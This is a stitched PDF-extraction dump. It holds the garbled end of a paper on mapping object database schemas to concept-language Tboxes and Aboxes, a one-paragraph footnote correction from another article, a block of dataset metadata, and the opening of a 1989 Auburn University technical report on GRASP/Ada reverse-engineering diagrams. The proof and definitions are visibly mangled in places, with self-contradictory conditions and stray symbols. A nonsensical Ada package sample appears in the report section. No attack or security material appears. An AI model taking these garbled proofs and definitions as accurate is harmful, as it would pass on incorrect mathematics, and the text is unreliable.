\{ t_{(p_l)} \} \cap \{ t_{(q_l)} \} = \emptyset, \quad \text{In both cases, it's easy to prove the thesis.}
\]
c) Both \( t_p \) and \( t_q \) are tuple types.
\[
\{ t_{(p_l)} \} \cap \{ t_{(q_l)} \} = \emptyset, \quad \text{iff 1:} \ \text{either } t_p \text{ or } t_q \text{ is unsatisfiable. This case is trivial; 2: } t_p \text{ and } t_q \text{ have a common label with an incompatible type. Let } \mathcal{I} \text{ be such a label, then:}
\]
\[
\mathcal{N}[l; t_{p_l}] \cap \mathcal{N}[l; t_{q_l}] = f_{l} ; (\mathcal{N}[t_{p_l}] \cap \mathcal{N}[t_{q_l}]) = f_{l} ; (\dots \cap \mathcal{N}[\mathcal{I}; t_{p_l}] \cap \mathcal{N}[\mathcal{I}; t_{q_l}] \cap \dots),
\]
with \( \{ t_{(p_l)} \} \cap \{ t_{(q_l)} \} = \emptyset \); that corresponds to the hypothesis of case 2. Then, assuming by induction that \( (\mathcal{N}[t_{p_l}] \cap \mathcal{N}[t_{q_l}])^k = \emptyset \), we have the same situation as in case 1; therefore, the thesis is true.
d) Both \( t_p \) and \( t_q \) are class names. The proof is similar to the above case.
Thus, we have shown that if \( \mathcal{N}[C] \) is satisfiable, \( C \) is also satisfiable. Now we show that if \( \mathcal{N}[C] \) is unsatisfiable, \( C \) is unsatisfiable, too.
\[=\]
Starting from an expanded class \( C \), the general form of \( \mathcal{N}[C] = A \) is:
\[
A = A_C \cap C_1 \cap \ldots \cap C_n \cap A_{1} \cap \ldots \cap A_{m} \cap \mathcal{N}[n_{1}, n_{2} \ldots n_{k}].
\]
Then \( A \) is unsatisfiable iff:
i) For a feature \( f \) (or a role \( R \), \( A_{f} \cap A_{R} \) is unsatisfiable; ii) For \( f_{l} = f_{l} = f \) (or for \( R = R \cap R \)), \( A_{f} \cap A_{R} \cap A_{R} \) is unsatisfiable; iii) For \( R = R \cap R \) then \( m > n \) or \( n < m \). We only sketch the proof for case ii.
**Case ii.** Let, for \( f_{l} = f_{l} = f \), be \( A_{f} \cap A_{R} \) unsatisfiable, then there must be a label \( \mathcal{I} \) in \( C \) such that \( \{ \mathcal{I}, l, t_{i}, t_{j}, \ldots \} \), with \( \mathcal{N}[I, l, R] = A_{f} \cap A_{R} \cap A_{R} \), and \( t_{i}, t_{j}, \ldots \) not set types. If \( A_{f} \cap A_{R} \) is unsatisfiable, then for \( t_{i}, t_{j} \) we have:
a) \( t_{i}, t_{j} \) have different types. The thesis is trivial.
b) \( t_{i}, t_{j} \) are class names.
Now, \( \{ \mathcal{I}, t_{i}, l_{j}, t_{j}, \ldots \} \cup \{ \mathcal{I}, t_{j}, l_{i}, t_{j}, \ldots \} \), with \( \mathcal{N}[I, t_{i}, R] = A_{f} \cap A_{R} \cap A_{R} \), and \( \mathcal{N}[I, t_{j}, R] = \emptyset \), then we have the same situation as in case i. Therefore, the thesis is true.
c) \( t_{i}, t_{j} \) are tuple types. The proof is similar to the previous case.
\[=\]
The following corollaries naturally derive from the preceding theorem:
**Corollary 1.** \( \mathcal{N} \) is an isomorphism between the set \( C \) of database classes and the set \( \mathcal{N}[C] \) with the subsumption as an order relationship. Then \( \forall C_{1}, C_{2} \in C \):
1. \( C_{1} \neq C_{2} \Rightarrow \mathcal{N}[C_{1}] \neq \mathcal{N}[C_{2}];
2. \( C_{1} \subseteq C_{2} \Rightarrow \mathcal{N}[C_{1}] \subseteq \mathcal{N}[C_{2}].
**Corollary 2.** \( \forall C_{1}, C_{2} \in C \), then \( C_{1} \sim C_{2} \) (\( A \sim B \iff \mathcal{A} \subseteq B \), \( B \subseteq \mathcal{A} \))
\[=\]
\[\mathcal{N}[C_{1}] \sim \mathcal{N}[C_{2}].\]
5 **ASSERTIONAL MAPPING**
In the previous section, we discussed the possibility of mapping syntactic descriptions from an object data model to a concept language, i.e., schema descriptions into Tbox descriptions. Here we show how to map a world description, while preserving its consistency, by means of an extension of the syntactic mapping \( \mathcal{N} \) over the extensional level of the knowledge base. Before defining the assertional mapping, we briefly sketch the assertional formalism in the two languages.
Let \( a, b \) be individual names and \( C (R, f) \) be a concept (role, feature); the assertional formalism generally used in concept languages allows us to state that individuals are instances of concepts, and that pairs of individuals are instances of roles or features, by means of the following assertional axioms: \( a : C \), \( aRb \), \( a \# b \).
An interpretation \( I \) satisfies the assertional axioms \( a : C \) iff \( a \in C^{I} \), \( aRb \) iff \( (a, b) \in R^{I} \), \( a \# b \) iff \( f_{(a)}(a) \neq b \).
A finite set of assertional axioms is called Abox \( \mathcal{A} \). We say that an interpretation \( I \) of a model of an Abox \( \mathcal{A} \) wrt a Tbox \( \mathcal{T} \) if \( I \) satisfies all the assertional axioms in \( \mathcal{A} \) and all the terminological axioms in \( \mathcal{T} \); furthermore, an Abox \( \mathcal{A} \) is consistent wrt a Tbox \( \mathcal{T} \) if \( \mathcal{A} \) has a model.
The assertional formalism used in the object data model specifies the class that an individual is instance of, and the structured value associated with it by means of the assertions \( o : C \) and \( o \subseteq [t_{1}, v_{1}, \ldots t_{n}, v_{n}] \). We say that an interpretation \( I \) of \( o : C \) iff \( o \subseteq C^{I} \) of \( o \subseteq C^{I} \) and \( o \subseteq [t_{1}, v_{1}, \ldots t_{n}, v_{n}] \) iff \( (t_{1}, v_{1}, \ldots t_{n}, v_{n}) \).
Let a database DB be a finite set of assertions. \( I \) is a model of DB wrt a schema \( S \) iff \( I \) satisfies all the descriptions in \( S \) and all
the assertions in DB; a database DB is consistent wrt a schema S if it has a model.
Before defining the assertional mapping, we give the definition of value mapping that allows us to build a domain \( D^C \) from a generic set of values \( V \).
**Definition 3 (Value Mapping):** Let us extend the syntactic mapping \( N \) over the set of values \( U \cup \mathcal{B} \cup \mathcal{V}_p \) to the domain \( D^C \) so that it is injective and:
1. \( \forall v \in O \cdot N[v] = o_v, o_v \in (A_v)^C \);
2. \( \forall \psi_i \in \mathcal{B} \cdot N[\psi_i] = \psi_i, \psi_i \in (A_v)^C \);
3. \( \forall \alpha \in \mathcal{V}_p \cdot N[\alpha] = \alpha, \alpha \in (A_v)^C \).
Further, let \( v_i = (l_1, v_1, \ldots, l_m, v_m) \) then \( v_i \) is such that:
a) \( \forall j_i \not\equiv \mathcal{V}_p, (j_i)^C(\psi_i) = N[v_j] \)
b) \( \forall j_i \not\equiv \mathcal{V}_p, v_i = (v_{i1}, \ldots, v_{im}), N[\psi_i] \in (K_i)^C, \) for \( k = 1, \ldots, m \).
**Definition 4 (Assertional Mapping):** In order to define the assertional mapping, we extend the mapping \( N \) so that it associates a corresponding assertional axiom to each database assertion, in such a way that:
1. \( N[O \cdot C] = N[o] \cdot N[C] \);
2. \( N[O_i \cdot l_1, v_1, \ldots, l_m, v_m] \) is such that:
a) \( N[O_i] = A_v \)
b) \( \forall \psi_i \not\equiv \mathcal{V}_p, N[\psi_i] \in (A_v)^C \).
c) \( \forall \psi_i \not\equiv \mathcal{V}_p, v_i = (v_{i1}, \ldots, v_{im}), N[\psi_i] \in (K_i)^C, \) for \( k = 1, \ldots, m \).
Let us consider the following database assertions—for convention, we show individual names in typewriter font:
**Alex**: Student, MIT = College
**Alessandro**: birthdate = [day: 20 month: "July" year: 1954], regis-num = 128 enrolled = MIT enrolled-course = ["Database"]
The corresponding Abox assertions are the following:
**Alex**: A0, Alex: Student, MIT = A0, MIT = College, O1 = A0,
**Alessandro**: String, Database, String, July, String, 20, Int, 1954: Inter, 128: Int,
**Alex name Alessandro, Alex birthdate O1, Alex regis-num 128, Alex enrolled MIT, Alex enrolled-course Database, O1 day 20, O1 month July, O1 year 1954.**
Note that the mapping has introduced new individuals corresponding to each basic value present in the database assertions (e.g., Alessandro, 20, etc.) and the individual O1 belonging to the class A0, in order to consider the tuple value associated with the birthdate label in the database assertions concerning the individual Alex.
The following theorem follows from the above definitions and Theorem 1.
**Theorem 2.** Given a schema S, let T be the Tbox obtained by the N-mapping; analogously, let DB be a set of database assertions, and A the Abox obtained by the N-mapping. DB is consistent wrt S if and only if A is consistent wrt T.
**6 Concluding Remarks**
In this paper, we discuss some similarities and differences existing between object database models and concept languages. In particular, we focus on their characteristics involved in defining objects and values and their mutual relationships. We illustrate how object database descriptions can be transformed into concept language descriptions by a suitable mapping, capable of preserving soundness. In our opinion, this correspondence presents a formal framework that can be used for treating common aspects of database systems and knowledge representation systems. In particular, it is possible for object databases to exploit both the algorithms developed in concept language environments for performing subsumption, consistency check, realization and retrieval and the results concerning their complexity. The formal model-theoretic semantics of concept languages provides means for investigating soundness and completeness of inference algorithms. Furthermore, many studies in the concept language community concern the computational complexity of the reasoning tasks offered. With respect to the database model presented, it can be deduced that the subsumption is polynomial (as we have already proven in [2]); at an extensional level, assertion satisfiability and instance checking are also polynomial in the size of the knowledge base [16].
**Acknowledgments**
This work was partially supported by the Italian National Research Council (CNR), project “Sistemi Informatici e Calcolo Parallello.” We would like to thank Enrico Franconi for the helpful and incisive discussions we had with him.
**References**
Correction to a Footnote in “Theoretical and Practical Considerations of Uncertainty and Complexity in Automated Knowledge Acquisition”
Xiao-Jia M. Zhou and Tharam S. Dillon
1 INTRODUCTION
In a footnote on p. 703 of our recent paper [2], we referred to the distance measure by Lopez de Mantaras [1]. The footnote should be corrected as follows:
Recently, Lopez de Mantaras [1] proposed a distance-based attribute-selection measure as the “proper” normalization for Quinlan’s information-gain criterion. It is proved by the contingency subdividing test that this measure is not biased towards attributes with more values.
REFERENCES
|
{"Source-Url": "http://www.inf.unibz.it/~artale/papers/tkde96.pdf", "len_cl100k_base": 9305, "olmocr-version": "0.1.53", "pdf-total-pages": 7, "total-fallback-pages": 0, "total-input-tokens": 8015, "total-output-tokens": 10996, "length": "2e13", "weborganizer": {"__label__adult": 0.00045680999755859375, "__label__art_design": 0.0008344650268554688, "__label__crime_law": 0.0006055831909179688, "__label__education_jobs": 0.005519866943359375, "__label__entertainment": 0.0001443624496459961, "__label__fashion_beauty": 0.0002880096435546875, "__label__finance_business": 0.0006051063537597656, "__label__food_dining": 0.0005946159362792969, "__label__games": 0.0007300376892089844, "__label__hardware": 0.0008893013000488281, "__label__health": 0.0013189315795898438, "__label__history": 0.000553131103515625, "__label__home_hobbies": 0.0002334117889404297, "__label__industrial": 0.0008511543273925781, "__label__literature": 0.0015316009521484375, "__label__politics": 0.0004000663757324219, "__label__religion": 0.000766754150390625, "__label__science_tech": 0.30810546875, "__label__social_life": 0.0002760887145996094, "__label__software": 0.0165863037109375, "__label__software_dev": 0.6572265625, "__label__sports_fitness": 0.0002796649932861328, "__label__transportation": 0.0007543563842773438, "__label__travel": 0.00024437904357910156}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 36338, 0.0109]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 36338, 0.84991]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 36338, 0.82203]], "google_gemma-3-12b-it_contains_pii": [[0, 7306, false], [7306, 13931, null], [13931, 20647, null], [20647, 21149, null], [21149, 28402, null], [28402, 35338, null], [35338, 36338, null]], "google_gemma-3-12b-it_is_public_document": [[0, 7306, true], [7306, 13931, null], [13931, 20647, null], [20647, 21149, null], [21149, 28402, null], [28402, 35338, null], [35338, 36338, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 36338, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 36338, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 36338, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 36338, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 36338, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 36338, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 36338, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 36338, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 36338, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 36338, null]], "pdf_page_numbers": [[0, 7306, 1], [7306, 13931, 2], [13931, 20647, 3], [20647, 21149, 4], [21149, 28402, 5], [28402, 35338, 6], [35338, 36338, 7]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 36338, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-08
|
2024-12-08
|
806f3ba90639c03e325ef37609794de2834d9cad
|
THE DEVELOPMENT OF A PROGRAM ANALYSIS ENVIRONMENT FOR ADA
Technical Report CSE-90-01
James H. Cross, Richard A. Davis, Charles May
Kelly I. Morrison, Timothy Plunkett, Darren Tola
Department of Computer Science and Engineering
Auburn University
Auburn, AL 36849-5347
December 1989
GRASP/Ada
Graphical Representations of Algorithms, Structures, and Processes for Ada
The Development of a
Program Analysis Environment for Ada
Reverse Engineering Tools For Ada
Task 2, Phase 2 Report
Contract Number NASA-NCC8-14
Department of Computer Science and Engineering
Auburn University, AL 36849-5347
Contact: James H. Cross II, Ph.D.
Principal Investigator
(205) 844-4330
ACKNOWLEDGEMENTS
We appreciate the assistance provided by NASA personnel, especially Mr. Keith Shackelford whose guidance has been of great value. Portions of this report were contributed by each of the members of the project team. The following is an alphabetical listing of the project team members.
Faculty Investigator:
Dr. James H. Cross II, Principal Investigator
Graduate Research Assistants:
Richard A. Davis
Charles H. May
Kelly I. Morrison
Timothy Plunkett
Darren Tola
The following trademarks were referenced in the text of this report.
001, FMap, TMap are trademarks of Hamilton Technologies, Inc.
Ada is a trademark of the United Stated Government, Ada Joint Program Office.
AdaGRAPH is a trademark of George W. Cherry.
IORL is a trademark of Teledyne-Brown Engineering.
PAMELA is a trademark of The Analytical Sciences Corporation.
Rational is a trademark of Rational, Inc.
UNIX is a trademark of AT&T.
VAX and VMS are trademarks of Digital Equipment Corporation.
VERDIX and VADS are trademarks of Verdix Corporation.
# Table of Contents
<table>
<thead>
<tr>
<th>Section</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>1.0 Introduction</td>
<td>1</td>
</tr>
<tr>
<td>1.1 Algorithmic Diagrams</td>
<td>2</td>
</tr>
<tr>
<td>1.2 Architectural Diagrams</td>
<td>4</td>
</tr>
<tr>
<td>2.0 Architectural Diagrams in Current Use</td>
<td>8</td>
</tr>
<tr>
<td>2.1 Definitions</td>
<td>8</td>
</tr>
<tr>
<td>2.2 Graphical Representations for Architecture</td>
<td></td>
</tr>
<tr>
<td>2.2.1 General Trends</td>
<td>9</td>
</tr>
<tr>
<td>2.2.2 Architectural Components of Ada</td>
<td>18</td>
</tr>
<tr>
<td>2.2.3 Architectural Diagrams for Ada</td>
<td>19</td>
</tr>
<tr>
<td>2.3 Visual Computing Trends</td>
<td>21</td>
</tr>
<tr>
<td>3.0 Statement of the Problem</td>
<td>25</td>
</tr>
<tr>
<td>3.1 Overview</td>
<td>25</td>
</tr>
<tr>
<td>3.2 Introduction of Taxonomy</td>
<td>25</td>
</tr>
<tr>
<td>3.3 Derivation of Base Set of Architectural Diagrams</td>
<td>28</td>
</tr>
<tr>
<td>3.3.1 Level 1 Architectural Diagram</td>
<td>28</td>
</tr>
<tr>
<td>3.3.2 Level 2 Architectural Diagram</td>
<td>30</td>
</tr>
<tr>
<td>3.3.3 Level 3 Architectural Diagram</td>
<td>33</td>
</tr>
<tr>
<td>4.0 Preliminary Requirements</td>
<td>36</td>
</tr>
<tr>
<td>4.1 Functional Requirements</td>
<td>36</td>
</tr>
<tr>
<td>4.1.1 Input Requirements</td>
<td>36</td>
</tr>
<tr>
<td>4.1.2 Processing Requirements</td>
<td>37</td>
</tr>
<tr>
<td>4.1.3 Display Requirements</td>
<td>39</td>
</tr>
<tr>
<td>4.1.4 Output Requirements</td>
<td>39</td>
</tr>
<tr>
<td>4.2 User Interface Requirements</td>
<td>39</td>
</tr>
<tr>
<td>4.3 Hardware Requirements</td>
<td>40</td>
</tr>
<tr>
<td>4.4 System Software Requirements</td>
<td>40</td>
</tr>
<tr>
<td>4.4.1 DIANA--An Intermediate Representation for Ada</td>
<td>40</td>
</tr>
<tr>
<td>4.4.2 Library Management</td>
<td>46</td>
</tr>
<tr>
<td>4.4.3 Graphics Tools Requirements</td>
<td>46</td>
</tr>
<tr>
<td>5.0 Future Work (December 1989 - May 1990)</td>
<td>47</td>
</tr>
<tr>
<td>Bibliography</td>
<td>48</td>
</tr>
</tbody>
</table>
Appendices
A. GRASP/Ada Control Structure Diagram
1.0 INTRODUCTION
Computer professionals have long promoted the idea that graphical representations of software are extremely useful as comprehension aids when used to supplement textual descriptions and specifications of software, especially for large complex systems. The general goal of this research is the study and formulation and generation of graphical representations of algorithms, structures, and processes for Ada (GRASP/Ada). The present task, in which we describe and categorize various graphical representations that can be extracted or generated from source code, is focused on reverse engineering.
Reverse engineering normally includes the processing of source code to extract higher levels of abstraction for both data and processes. Our primary motivation for reverse engineering is increased support for software reusability and software maintenance, both of which should be greatly facilitated by automatically generating a set of "formalized diagrams" to supplement the source code and other forms of existing documentation. The overall goal of the GRASP/Ada project is to provide the foundation for a CASE (computer-aided software engineering) environment in which reverse engineering and forward engineering (development) are tightly coupled. In this environment, the user may specify the software in a graphically-oriented language and then automatically generate the corresponding Ada code. Alternatively, the user may specify the software in Ada or Ada/PDL and then automatically generate the graphical representations either dynamically as the code is entered or as a form of post-processing.
Figure 1 shows the project divided into three phases, each of which corresponds to one of the following broad categories of graphical representations: (1) algorithmic (PDL/Code), (2) architectural, and (3) system level diagrams. Each of these categories may contain overlapping entries that depict, for example, data structure, data flow, or other useful relationships. Phase 1 of GRASP/Ada has been completed and a new graphical notation, the Control Structure Diagram (CSD) for Ada and supporting software tool is now being prepared for evaluation [CRO89]. In Phase 2, the focus is on a subset of Architectural Diagrams that can be generated automatically from source code with the CSD included for completeness. These are described briefly in the order that they might be generated in a typical reverse engineering scenario.
1.1 Algorithmic Diagrams (PDL/Code)
As the complexity of software has increased, so has the utility of graphical representations for algorithms. The industry has progressed well beyond the simple constructs of sequence, selection and iteration promoted by the theory of structured programming in the 1970's. For example, Ada includes control constructs for concurrency (tasks and task rendezvous), exception handling, and loop exits, none of which fits well into the simple sequential control constructs of structured programming. Since the ANSI flowchart was introduced in the mid-50's, numerous notations have been proposed and utilized [MAR85, TRI89]. These notations typically include control constructs for sequence, selection, and iteration, and several include constructs for concurrency and exits; however, none explicitly contains all of the control constructs found in Ada.
package cptyx is
type xmeny;
procedure grzlbrp;
procedure skaar;
function hyperblud;
end cptyx;
package body cptyx is
...
end cptyx;
For the GRASP/Ada project, the control structure diagram (CSD) [CRO88] was selected as a basis for a graphical representation that maps directly to Ada control constructs. The CSD is a graphical notation intended to increase the comprehensibility of Ada PDL or source code by explicitly depicting control constructs and control flow. The traditional textual representation of PDL or source code has been extended with intuitive graphical constructs which are easily adaptable to editors and printers. The CSD has the attractive property that it can be overlaid directly on prettyprinted Ada code. In fact, a CSD generator may be perceived as a "graphical prettyprinter." The CSD graphical constructs for each of Ada's control constructs are in Appendix A.
1.2 Architectural Charts and Diagrams
The next level of diagrams in the reverse engineering process is a group commonly known as architectural diagrams. Structure charts, data structure diagrams, and entity-relationship diagrams are traditional examples of these. The object/package diagram is a relatively recent addition at this level. Structure charts, object/package diagrams, and a collapsed version of the control structure diagram have been targeted for prototyping in Phase 2. Structure charts and object/package are each discussed briefly below in the context of automatically generating the diagram from source code or PDL.
*Structure charts* are one of the oldest and potentially most useful diagramming notations available. We use the term here in the generic sense to refer to those charts and diagrams that depict the overall hierarchical organization of a software system without concern for the algorithmic details. IBM's HIPO, and Yourdon's structure chart are common examples in this category. The structure chart is simply an
invocation graph of functions and procedures, less redundant calls. Some versions indicate data items along the control lines between procedures to show data flow as well as detailed control flow information such as selection and iteration.
The structure chart offers the user a high-level solution-oriented view of the software. Although algorithmic details are suppressed, the user can still get a sense of what is going on from the perspective of solving the problem as well as a feel for the layers of procedures and functions involved. Unfortunately, structure charts generated during initial development of a system are rarely kept current without the aid of a CASE tool which links the diagram and corresponding code. A major role of reverse engineering in a CASE environment is to ensure the availability of an accurate set of structure charts as well as graphical representations for other software views.
Automatic generation of structure charts from source code is relatively straightforward. In the case of Ada, the abstract syntax tree built during the parse must be traversed, capturing procedure and function calls (a task rendezvous has the appearance of a procedure call). A call to a procedure or function results in the traversal of its abstract syntax tree. Redundant calls from a single procedure are normally captured but not displayed. Data items and their direction of flow are identified syntactically by their IN, OUT, or INOUT designation in the parameter list. Additional program analysis is required to determine references to non-local variables that are not formal parameters.
The Object/package diagram made popular by Booch [BOO83] is a recent architectural level diagram that is useful for object-oriented software. The object/package diagram shows all of the dependencies among packages and package
components. This is an important view of the software with respect to its construction or composition from parts. For example, an Ada package may be used for encapsulation of types and operations to form abstract data types. These packages can then be considered objects from an object-oriented development perspective. The object/package diagram is used to show the dependency relationships among the object components.
Object/package diagrams are generated from a syntactical analysis of the Ada source code. The basic dependencies are defined by the WITH clause. The actual package components that are utilized are determined by references to types, procedures and/or functions exported by the package. These objects or packages can be further graphically encoded by using icons, shading, and coloring.
Preliminary analysis has revealed that structure charts and object/package diagrams are complementary in nature and, furthermore, that in isolation each affords a somewhat incomplete view of the software. The hierarchical or layered structure chart is easily related to the software solution of the problem. That is, a reader can discern "what" is being done with respect to solving the problem or, from a reverse engineering perspective, which problem is being solved. The object/package diagram, on the other hand, offers a view of component packaging (e.g., how data and operations are packaged into objects). While Booch points out that the object/package diagram is much closer to the data flow diagram of the general specification of the problem (e.g., external entities and data stores become objects), it has been our experience that the dependencies shown in the object/package diagram provide little or no information regarding the interaction of the objects and operations. The structure chart and
ultimately the control structure diagram do supply the additional information necessary for complete comprehension of the solution.
The remainder of this report is organized as follows. Section 2 discusses architectural diagrams that are currently in use and provides a summary of several general trends in visualizations in computing. Section 3 provides a discussion of the problem Phase 2 of the GRASP/Ada project is addressing. Section 4 provides the preliminary requirements for the prototype that will be developed to support the automatic generation graphical representations from Ada source code. These requirements include functional, interface, hardware, and system software. Section 5 provides the schedule for Phase 2.
2.0 ARCHITECTURAL DIAGRAMS IN CURRENT USE
In this section, the term "architectural diagram" and some related terms are defined. This is followed by a brief survey of recent as well as traditional architectural diagrams which have been used for Ada. The specific needs for architectural diagrams for Ada software are examined. This section concludes with a brief discussion of trends in visualization for computing in general.
2.1 Definitions
An architectural diagram (AD) may be defined as follows: a graphical representation of the logical components of a software system, the interfaces between such components, and the hierarchical relationship among the components.
Logical components of a software system are those structures which group statements and components into cohesive units. In Ada, these structures include the package, procedure, function, and task. Most well-designed logical components are functionally cohesive, each providing a single and specific service.
The interfaces between the logical components of a software system show the parameters which are passed between the components. The simplest case there may be no parameters passed between a given set of components. Often, however, these parameters consist of items of complex types and, in the case of Ada, may even include tasks.
The hierarchical relationship among the logical components of a software system is
shown as a utilization hierarchy. A connection between any two components represents a resource usage of one component by the other.
Two other terms that are of use when referring to hierarchical diagrams are \textit{visibility} and \textit{connectivity}. Each is a term referring to the scope of a given software component. Visibility refers to the set of components that may be invoked by a given component, regardless of whether the code actually specifies an invocation of such components. Connectivity refers to the set of components that are explicitly invoked by a given software component in the source program.
\subsection*{2.2 Graphical Representations for Architecture}
In this section, several architectural diagrams currently in use are briefly discussed. This is followed by an examination of the Ada programming language with respect to its components that must be considered when developing architectural diagrams. Finally, several considerations pertaining to the Ada programming language are presented that must have a bearing on the development of any practical architectural diagram for Ada.
\subsubsection*{2.2.1 General Trends}
Perhaps the best-known architectural diagram is the traditional \textit{structure chart} made popular by Yourdon and Constantine (see Figure 2). This diagram represents the architecture of a system using a set of boxes representing functions and procedures connected by lines indicating invocation. Small arrows are arranged along the lines of invocation to depict the flow of data between the modules. Typically, data flows are
Figure 2. Structure Chart
of two types: data items flows, which may be either simple or complex data types, and control data items, which are used to determine the execution of the invoked procedure. Although the traditional structure chart is useful for depicting the architecture of systems written in simple languages such as Pascal, it lacks in its ability to represent advanced features found in Ada such as tasking and generic instantiation of procedures from templates.
CAEDE (Carleton Embedded System Design Environment) is a software CAD system developed at Carleton University by Buhr [BUH89] that uses modified Buhr diagrams to represent the architecture of an Ada program (see Figure 3). The structural CAEDE diagrams are block-oriented and include distinct symbols for tasks, packages, and procedures. Although the CAEDE system does include graphical representations for all of the Ada architectural components, it does not represent generics well. In addition, the nesting required to produce an accurate CAEDE diagram for a typical Ada program can become cumbersome. At this time, there is no existing tool for generating CAEDE diagrams from existing code.
OOSD (Object-Oriented Structured Design), developed by Wasserman [WAS89], is a method for designing the architecture of systems. The heart of OOSD is the OOSD design chart, a modified structure chart, that describes a set of architectural components, their invocation hierarchy, and the parameters passed among them (see Figure 4). At a lower level, information clusters provide an object-oriented description of the components depicted on the design chart. Because OOSD is designed to be language-independent, it does not correspond exactly to Ada, and therefore does not directly support all of Ada features, especially the tasking features. On the other hand, OOSD
Figure 3. Buhr Chart
OOSD
Example of an Information Cluster in OOSD.
Figure 4. Example of an Information Cluster in OOSD
does allow the designer to utilize some features that Ada does not provide. At this time, there is no existing tool for generating OOSD diagrams from existing code.
Hamilton Technologies, Inc., has developed an integrated hierarchical, functional and object-oriented modeling approach collectively called 001 technology. The 001 technology is based, in part, on USE.IT developed by Higher Order Software (HOS) [HAM79]. In 001, a system is defined in terms of a single control map which integrates both function control maps (FMaps) and type control maps (TMaps), where an FMap defines a hierarchy of functions and a TMap defines a hierarchy of abstract types. The underlying specification language for these maps is 001 AXES, which is based on a set of control axioms derived from empirical data gathered during the development and operation of the existence of a universal set of objects. The leaves of the maps represent primitives implemented in a language for a particular native computer environment. When a system specified in 001 AXES is processed by the "Resource Allocation Tool," the result is a complete system in the source language of the primitives.
PAMELA (Process Abstraction Method for Embedded Large Applications) is a methodology developed by Cherry [CHE88] and supported by the AdaGRAPH environment on the IBM PC. A specification is written in PAMELA by first describing a system as a collection of flow diagrams. Next, the analyst is prompted to answer certain questions about each of the processes in the flow diagrams, resulting in corresponding annotations to the diagrams. Finally, the analyst completes the skeleton code generated from the flow diagrams and fills it in to form executable Ada programs. It is interesting to note that the "automatic code generation" provided by PAMELA falls
mainly into the area of providing correctly specified modules and communications between these modules. Generating procedural code is left to the analyst, although the AdaGRAPH environment does provide facilities for simplifying this.
IORL (Input/Output Requirements Language) is a high-level requirements language developed for the design of real-time embedded systems with the TAGS (Technology for the Automated Generation of Systems) methodology [SIE85]. TAGS embodies the hierarchical top-down development of a system, and relies upon graphical representations to present control flow within a process and data flow among different processes executing simultaneously (see Figure 5). A system may be viewed at any time from a number of levels: from a very high level showing an overview of the entire system, from a very low level showing the IORL primitives that make up a process, or from any level in between. The latest release of IORL utilizes an icon-oriented interface for the easy creation of IORL diagrams, and some errors from earlier versions have been corrected. Currently, Teledyne Brown Engineering is working on a "Simulation Compiler" which will significantly enhance the TAGS development environment.
Booch diagrams [BOO83] provide a graphical representation of the architectural components of Ada along with some dependency information (see Figure 6). Experience indicates that the graphical representation of large systems using Booch diagrams often leads to a network decomposition rather than a strict hierarchical control organization. In addition, at the present time, only primitive tools exist for the extraction of Booch diagrams from Ada source code.
Example of a Schematic Block Diagram (SBD) in IORL.
Booch diagrams show the architecture of a system using a set of program components, each having a specification and a private part.
Booch diagrams support the object-oriented paradigm by allowing package to specify a number of OBJECTs and a number of OPERATIONs on those objects.
Figure 6. Examples of Booch Diagram Components
2.2.2 Architectural Components of Ada
Most high level programming languages have very few architectural components. For example, Pascal has only procedures, functions, and a single main program. However, Ada is much more complex, with constructs that are difficult to represent using traditional architectural diagrams. In this section, the architectural components of the Ada programming language are examined.
The architectural components of Ada may be subdivided into two categories: logical and physical. The logical components are those structures defined within the language that serve to group sets of logically related statements or components. The physical components are those components which serve more to assist the Ada compiler rather than the Ada programmer.
There are five logical components in the Ada programming language: packages, procedures, functions, tasks, and operators. Packages are structures which serve to group the other logical components into cohesive modules. Procedures, functions, and tasks are much alike in that they are small threads of executable code that generally provide a single specific service. Operators may be considered a special case of function that may take one or two arguments. Although operators are predefined in most programming languages, Ada allows them to be overloaded.
There are three physical components in the Ada programming language: library units, secondary units, and subunits. A library unit is a specification that defines a set of logical components and data declarations. A secondary unit is the body of code that implements each of the logical components defined in the corresponding library unit.
Finally, a subunit is a section of code that implements a logical component defined in a library unit but may be compiled separately.
In addition, the logical components may have properties associated with them. For example, a logical component may be a standard component, with all its data types explicitly defined. Or, it may be a generic component that may be instantiated for a given data type. Another property that logical components in Ada exhibit is that of visibility. A logical component may be visible, and accessible to any other component that refers to it, or it may be hidden, only accessible by other components in its package.
2.2.3 Architectural Diagrams for Ada
In this section, some of the special issues which must be addressed in the development of a set of architectural diagrams for Ada are discussed.
*Representation of generics.* The generic construct in the Ada language allows the definition of "templates" for software functions which describe a function's logic without making any commitments to data types. The generics may be easily instantiated to operate on any set of data types. In an architectural diagram, these functions would appear in many places as distinct functions, although they differ only in the data types on which they operate. Some method for capturing this similarity in the architectural diagram should be developed.
*Representation of overloading.* Ada allows a number of simple operators to be "overloaded." This is similar in respect to the notion of generic functions in that the only difference between functions is the set of data types on which they operate.
**Representation of tasking.** Architectural diagrams generally represent the invocation hierarchy among a set of procedures for a single thread of program execution. Ada introduces the concept of tasking, or simultaneous execution, whose graphical depiction has not been well investigated.
**Representation of "static" vs. "dynamic" scope.** In most high level languages, all of the components of a software system "exist" for the duration of the system's execution; this may be referred to as "static" scope. In Ada, however, components may exist only for portions of the system's lifetime, due to tasking and to the ability to embed components inside others; this may be referred to as "dynamic" scope. Some method for representing these on an architectural diagram must be developed.
